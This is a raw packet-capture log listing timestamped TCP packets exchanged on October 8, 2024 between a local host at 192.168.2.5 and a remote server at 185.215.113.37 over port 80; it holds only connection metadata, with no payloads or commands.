Oct 8, 2024 05:27:11.205257893 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.205893040 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.205949068 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.205955982 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.206005096 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.206007957 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.206043959 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.206058025 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.206079960 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.206093073 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.206129074 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.206855059 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.206911087 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.206911087 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.206943035 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.206964016 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.206990004 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.292141914 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.292181015 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.292334080 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.292335033 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.328470945 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.328505993 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.328525066 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.328546047 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.328582048 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.328617096 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.328651905 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.328680992 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.328720093 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.328720093 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.328720093 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.328720093 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.328960896 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.328962088 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.328998089 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.329020023 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.329031944 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.329042912 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.329082012 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.329564095 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.329598904 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.329621077 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.329633951 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.329647064 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.329668999 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.329683065 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.329705954 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.329719067 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.329756021 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.330005884 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.330039978 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.330060959 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.330074072 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.330085993 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.330108881 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.330123901 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.330146074 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.330158949 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.330180883 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.330195904 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.330216885 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.330229998 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.330267906 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.330945015 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.330996037 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.331001043 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.331032038 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.331046104 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.331065893 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.331082106 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.331101894 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.331115961 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.331135988 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.331151962 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.331172943 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.331187010 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.331221104 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.332000017 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.332035065 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.332053900 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.332070112 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.332081079 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.332103968 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.332115889 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.332139969 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.332149029 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.332174063 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.332185984 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.332212925 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.332218885 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.332258940 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.332855940 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.332910061 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.332912922 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.332950115 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.332963943 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.332983017 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.333004951 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.333018064 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.333033085 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.333053112 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.333066940 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.333089113 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.333101988 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.333137989 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.333849907 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.333883047 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.333905935 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.333924055 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.384962082 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.384999990 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.385035038 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.385059118 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.452872038 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.452941895 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.452976942 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.453008890 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.453042030 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.453073978 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.453108072 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.453115940 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.453141928 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.453155041 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.453176022 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.453178883 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.453197002 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.453214884 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.453229904 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.453268051 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.453274012 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.453308105 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.453325033 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.453341961 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.453357935 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.453393936 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.453478098 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.453511000 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.453527927 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.453547955 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.453560114 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.453586102 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.453599930 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.453634977 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.453862906 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.453896999 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.453918934 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.453932047 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.453938007 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.453973055 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.453975916 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.454008102 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.454018116 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.454041958 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.454052925 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.454083920 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.454091072 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.454117060 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.454127073 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.454160929 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.454284906 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.454335928 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.454350948 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.454385996 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.454400063 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.454428911 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.454473972 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.454509020 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.454521894 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.454545021 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.454550982 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.454581022 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.454590082 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.454616070 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.454626083 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.454649925 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.454659939 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.454685926 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.454694033 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.454720974 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.454730034 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.454758883 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.454765081 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.454802036 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.455655098 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.455707073 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.455718040 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.455744982 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.455749989 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.455780983 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.455790997 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.455818892 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.455825090 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.455853939 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.455863953 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.455889940 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.455898046 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.455924034 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.455935001 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.455960035 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.455967903 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.455993891 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.456001997 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.456032991 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.456036091 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.456079006 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.456146002 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.456180096 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.456198931 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.456222057 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.456232071 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.456267118 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.456276894 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.456302881 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.456310987 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.456336975 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.456346035 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.456372023 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.456379890 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.456412077 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.456414938 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.456449032 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.456454992 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.456484079 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.456491947 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.456521988 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.456532955 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.456564903 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.456566095 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.456612110 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.457056999 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.457104921 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.457146883 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.457180977 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.457199097 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.457226992 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.457242966 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.457292080 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.457295895 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.457422018 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.457438946 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.457458019 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.457468033 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.457493067 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.457503080 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.457528114 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.457537889 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.457570076 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.457573891 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.457604885 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.457616091 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.457639933 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.457648039 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.457684994 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.458431005 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.458446980 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.458462954 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.458477974 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.458479881 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.458491087 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.458499908 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.458508015 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.458525896 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.458543062 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.458559036 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.458597898 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.458657026 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.458673000 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.458688974 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.458703995 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.458714962 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.458715916 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.458734035 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.458734035 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.458750963 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.458761930 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.458769083 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.458775997 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.458784103 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.458786964 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.458803892 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.458808899 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.458822966 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.458844900 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.473520994 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.473553896 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.473685026 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.541279078 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.541312933 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.541346073 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.541379929 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.541414022 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.541448116 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.541481018 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.541488886 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.541488886 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.541488886 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.541488886 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.541488886 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.541516066 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.541516066 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.576956034 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.577017069 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.577024937 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.577049017 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.577059984 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.577100039 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.577131033 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.577132940 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.577142000 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.577163935 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.577214956 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.577222109 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.577223063 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.577270031 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.577279091 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.577316046 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.577321053 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.577368975 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.577374935 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.577425003 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.577428102 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.577469110 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.577471972 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.577498913 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.577512026 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.577544928 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.577553988 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.577606916 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.577608109 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.577637911 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.577653885 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.577678919 CEST	49706	80	192.168.2.5	185.215.113.37
